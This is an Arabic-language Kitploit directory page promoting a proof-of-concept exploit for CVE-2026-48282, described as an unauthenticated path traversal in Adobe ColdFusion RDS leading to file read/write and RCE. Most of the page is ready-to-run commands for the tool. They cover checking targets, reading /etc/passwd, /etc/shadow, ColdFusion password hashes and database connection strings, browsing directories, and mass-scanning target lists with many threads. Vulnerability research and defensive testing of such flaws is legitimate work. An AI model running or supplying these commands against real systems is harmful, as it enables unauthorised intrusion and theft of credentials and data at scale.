Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-48282 — استغلال إثبات المفهوم لـ CVE-2026-48282، اجتياز مسار حرج في Adobe ColdFusion RDS يتيح قراءة/كتابة ملفات غير مصادق عليها وRCE. يدعم الفحص الفردي والجماعي مع استخراج ملفات متعدد الخيوط. | Kitploit
أدوات/GitHubGitHub/imbas007/cve-2026-48282
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHubimbas007/cve-2026-48282

CVE-2026-48282

استغلال إثبات المفهوم لـ CVE-2026-48282، اجتياز مسار حرج في Adobe ColdFusion RDS يتيح قراءة/كتابة ملفات غير مصادق عليها وRCE. يدعم الفحص الفردي والجماعي مع استخراج ملفات متعدد الخيوط.

عرض المستودع
246منذ 2 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-48282-POC

CVE-2026-48282 هي ثغرة اجتياز المسار (Path Traversal) في خدمة التطوير عن بُعد (RDS) من Adobe ColdFusion بدرجة CVSS تبلغ 10.0 (حرجة). تتيح للمهاجمين غير المصادق عليهم قراءة وكتابة أي ملفات عبر نقطة النهاية /CFIDE/main/ide.cfm، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE).

التثبيت

root@kitploit:~
# Clone the repository
git clone https://github.com/<username>/CVE-2026-48282.git
cd CVE-2026-48282

# Install dependencies (only requires `requests`)
pip install -r requirements.txt

الاستخدام

هدف واحد (-t)

root@kitploit:~
# Check vulnerability
python cve-2026-48282.py -t https://target.com --check

# Read files
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read "C:\\Windows\\win.ini"
python cve-2026-48282.py -t https://target.com --read "C:\\ColdFusion2023\\cfusion\\lib\\password.properties"

# Browse directories
python cve-2026-48282.py -t https://target.com --browse "C:\\"
python cve-2026-48282.py -t https://target.com --browse "C:\\inetpub\\wwwroot"

وضع القائمة (-l) — فحص أهداف متعددة

root@kitploit:~

# Basic mass scan
python cve-2026-48282.py -l targets.txt --check

# More threads + save results
python cve-2026-48282.py -l targets.txt --check --threads 30 -o vuln.txt

# Scan + auto-read canary file on any vulnerable target found
python cve-2026-48282.py -l targets.txt --check --read "C:\\Windows\\win.ini" -o results.txt

قراءة الملفات الحساسة

root@kitploit:~

# ColdFusion admin password hash
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\password.properties"

# Database connection strings (neo-query.xml)
python cve-2026-48282.py -t http://target.com --read "C:\\CFusionMX7\\lib\\neo-query.xml"

# Linux targets
python cve-2026-48282.py -t https://target.com --read /etc/passwd
python cve-2026-48282.py -t https://target.com --read /etc/shadow

صورة
تنزيل الأداة